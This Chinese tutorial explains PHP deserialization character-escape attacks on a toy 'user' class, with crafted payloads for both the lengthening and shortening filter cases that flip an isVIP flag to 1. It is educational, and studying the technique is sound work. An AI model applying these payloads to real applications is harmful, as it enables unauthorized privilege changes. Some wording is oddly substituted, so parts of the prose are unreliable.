class user{ public $username; public $password; public $isVIP; public function __construct($u,$p){ $this->username = $u; $this->password = $p; $this->isVIP = 0; }}
可以看到当这个类被初始化的时候,isVIP变量默认是0,并且不受初始化传入的参数影响。
接下来把完全代码贴出来,便于我们剖析。
<?phpclass user{ public $username; public $password; public $isVIP; public function __construct($u,$p){ $this->username = $u; $this->password = $p; $this->isVIP = 0; }}$a = new user("admin","123456");$a_seri = serialize($a);echo $a_seri;?>
这一段程序的输出结果如下:

O:4:"user":3:{s:8:"username";s:5:"admin";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}
可以看到,工具序列化之后的isVIP变量是0。
这个时候我们增加一个函数,用于对admin字符进行更换,将admin更换为hacker,更换函数如下:
function filter($s){ return str_replace("admin","hacker",$s);}
因此整段程序如下:
<?phpclass user{ public $username; public $password; public $isVIP; public function __construct($u,$p){ $this->username = $u; $this->password = $p; $this->isVIP = 0; }}function filter($s){ return str_replace("admin","hacker",$s);}$a = new user("admin","123456");$a_seri = serialize($a);$a_seri_filter = filter($a_seri);echo $a_seri_filter;?>
这一段程序的输出为:
O:4:"user":3:{s:8:"username";s:5:"hacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}
这个时候我们把这两个程序的输出拿出来比拟一下:
O:4:"user":3:{s:8:"username";s:5:"admin";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;} //未过滤O:4:"user":3:{s:8:"username";s:5:"hacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;} //已过滤
可以看到已过滤字符串中的hacker与前面的字符长度不对应了
s:5:"admin";s:5:"hacker";
在这个时候,对付我们,在新建工具的时候,传入的admin便是我们的可控变量
接下来明确我们的目标:将isVIP变量的值修正为1
首先我们将我们的现有子串和目标子串进行比拟:
";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}//现有子串";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}//目标子串
也便是说,我们要在admin这个可控变量的位置,注入我们的目标子串。
首先打算我们须要注入的目标子串的长度:
";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}//以上字符串的长度为47
由于我们须要逃逸的字符串长度为47,并且admin每次过滤之后都会变成hacker,也便是说每涌现一次admin,就会多1个字符。
因此我们在可控变量处,重复47遍admin,然后加上我们逃逸后的目标子串,可控变量修正如下:
adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}
完全代码如下:
<?phpclass user{public $username;public $password;public $isVIP;public function __construct($u,$p){$this->username = $u;$this->password = $p;$this->isVIP = 0;}}function filter($s){return str_replace("admin","hacker",$s);}$a = new user('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}','123456');$a_seri = serialize($a);$a_seri_filter = filter($a_seri);echo $a_seri_filter;?>
程序输出结果为:
O:4:"user":3:{s:8:"username";s:282:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}
我们可以数一下hacker的数量,一共是47个hacker,共282个字符,恰好与前面282相对应。
后面的注入子串也恰好完成了逃逸。
反序列化后,多余的子串会被抛弃
我们接着将这个序列化结果反序列化,然后将其输出,完全代码如下:
<?phpclass user{public $username;public $password;public $isVIP;public function __construct($u,$p){$this->username = $u;$this->password = $p;$this->isVIP = 0;}}function filter($s){return str_replace("admin","hacker",$s);}$a = new user('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}','123456');$a_seri = serialize($a);$a_seri_filter = filter($a_seri);$a_seri_filter_unseri = unserialize($a_seri_filter);var_dump($a_seri_filter_unseri);?>
程序输出如下:
object(user)#2 (3) { ["username"]=> string(282) "hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker" ["password"]=> string(6) "123456" ["isVIP"]=> int(1)}
可以看到这个时候,isVIP这个变量就变成了1,反序列化字符逃逸的目的也就达到了。
过滤后字符变少上面描述了PHP反序列化字符逃逸中字符变多的情形。
以下开始阐明反序列化字符逃逸变少的情形。
首先,和上面的主体代码还是一样,还是同一个class,与之有差异的是过滤函数中,我们将hacker修正为hack。
完全代码如下:
<?phpclass user{public $username;public $password;public $isVIP;public function __construct($u,$p){$this->username = $u;$this->password = $p;$this->isVIP = 0;}}function filter($s){return str_replace("admin","hack",$s);}$a = new user('admin','123456');$a_seri = serialize($a);$a_seri_filter = filter($a_seri);echo $a_seri_filter;?>
得到结果:
O:4:"user":3:{s:8:"username";s:5:"hack";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}
同样比较一下现有子串和目标子串:
";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}//现有子串";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}//目标子串
由于过滤的时候,将5个字符删减为了4个,以是和上面字符变多的情形相反,随着加入的admin的数量增多,现有子串后面会缩进来。
打算一下目标子串的长度:
";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}//目标子串//长度为47
再打算一下到下一个可控变量的字符串长度:
";s:8:"password";s:6:"//长度为22
由于每次过滤的时候都会少1个字符,因此我们先将admin字符重复22遍(这里的22遍不像字符变多的逃逸情形精确,后面可能会须要做调度)
完全代码如下:(这里的变量里一共有22个admin)
<?phpclass user{public $username;public $password;public $isVIP;public function __construct($u,$p){$this->username = $u;$this->password = $p;$this->isVIP = 0;}}function filter($s){return str_replace("admin","hack",$s);}$a = new user('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin','123456');$a_seri = serialize($a);$a_seri_filter = filter($a_seri);echo $a_seri_filter;?>
输出结果:
把稳:PHP反序列化的机制是,比如如果前面是规定了有10个字符,但是只读到了9个就到了双引号,这个时候PHP会把双引号当做第10个字符,也便是说不根据双引号判断一个字符串是否已经结束,而是根据前面规定的数量来读取字符串。
O:4:"user":3:{s:8:"username";s:105:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}
这里我们须要仔细看一下s后面是105,也便是说我们须要读取到105个字符。从第一个引号开始,105个字符如下:
hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:6:
也便是说123456这个地方成为了我们的可控变量,在123456可控变量的位置中添加我们的目标子串
";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}//目标子串
完全代码为:
<?phpclass user{public $username;public $password;public $isVIP;public function __construct($u,$p){$this->username = $u;$this->password = $p;$this->isVIP = 0;}}function filter($s){return str_replace("admin","hack",$s);}$a = new user('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin','";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}');$a_seri = serialize($a);$a_seri_filter = filter($a_seri);echo $a_seri_filter;?>
输出:
O:4:"user":3:{s:8:"username";s:105:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:47:"";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:5:"isVIP";i:0;}
仔细不雅观察这一串字符串可以看到紫色方框内一共107个字符,但是前面只有显示105
造成这种征象的缘故原由是:更换之前我们目标子串的位置是123456,一共6个字符,更换之后我们的目标子串显然超过10个字符,以是会造成打算得到的payload不准确
办理办法是:多添加2个admin,这样就可以补上短缺的字符。
修正后代码如下:
<?phpclass user{public $username;public $password;public $isVIP;public function __construct($u,$p){$this->username = $u;$this->password = $p;$this->isVIP = 0;}}function filter($s){return str_replace("admin","hack",$s);}$a = new user('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin','";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}');$a_seri = serialize($a);$a_seri_filter = filter($a_seri);echo $a_seri_filter;?>
输出结果为:
O:4:"user":3:{s:8:"username";s:115:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:47:"";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:5:"isVIP";i:0;}
剖析一下输出结果:
可以看到,这一下就对了。
我们将工具反序列化然后输出,代码如下:
<?phpclass user{public $username;public $password;public $isVIP;public function __construct($u,$p){$this->username = $u;$this->password = $p;$this->isVIP = 0;}}function filter($s){return str_replace("admin","hack",$s);}$a = new user('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin','";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}');$a_seri = serialize($a);$a_seri_filter = filter($a_seri);$a_seri_filter_unseri = unserialize($a_seri_filter);var_dump($a_seri_filter_unseri);?>
得到结果:
object(user)#2 (3) { ["username"]=> string(115) "hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:47:"" ["password"]=> string(6) "123456" ["isVIP"]=> int(1)}
可以看到,这个时候isVIP的值也为1,也就达到了我们反序列化字符逃逸的目的了
实验推举:实验:PHP反序列化漏洞实验(合天网安实验室)
通过本次实验,大家将会明白什么是反序列化漏洞,反序列化漏洞的成因以及如何挖掘和预防此类漏洞。